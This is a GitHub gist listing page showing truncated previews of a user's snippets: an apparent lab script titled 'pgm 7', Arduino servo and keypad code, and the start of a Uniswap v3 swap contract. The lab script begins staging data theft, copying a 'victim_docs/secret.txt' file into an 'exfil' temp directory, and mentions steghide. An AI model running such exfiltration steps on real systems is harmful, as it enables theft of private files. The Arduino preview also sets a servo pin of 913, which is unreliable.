Skip to content

Instantly share code, notes, and snippets.

View dawksh's full-sized avatar
🤓
building

daksh dawksh

🤓
building
View GitHub Profile
@dawksh
dawksh / file.txt
Created November 3, 2025 19:24
pgm 7
steghide zip clamav
----------------------------
#!/bin/bash
set -euo pipefail
echo "[*] script start: $(date)"
TMPDIR="$(mktemp -d /tmp/exfil.XXXXXX)"
SRC="${HOME}/acq_demo/victim_docs/secret.txt"
cp "${SRC}" "${TMPDIR}/secret.txt"
#include <Servo.h>
#include <Keypad.h>
Servo servoMotor;
const int servoPin = 913; // Digital pin connected to the servo
const byte ROWS = 4; //four rows
const byte COLS = 4; //four columns
char keys[ROWS][COLS] = {
{'1','2','3','A'},
@dawksh
dawksh / swap.sol
Created March 1, 2022 19:29
should swap using v3
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.1;
pragma abicoder v2;
import "https://github.com/Uniswap/uniswap-v3-periphery/blob/main/contracts/interfaces/ISwapRouter.sol";
import "https://github.com/Uniswap/uniswap-v3-periphery/blob/main/contracts/interfaces/IQuoter.sol";
import "https://github.com/Uniswap/v3-periphery/blob/main/contracts/libraries/TransferHelper.sol";
interface IUniswapRouter is ISwapRouter {
function refundETH() external payable;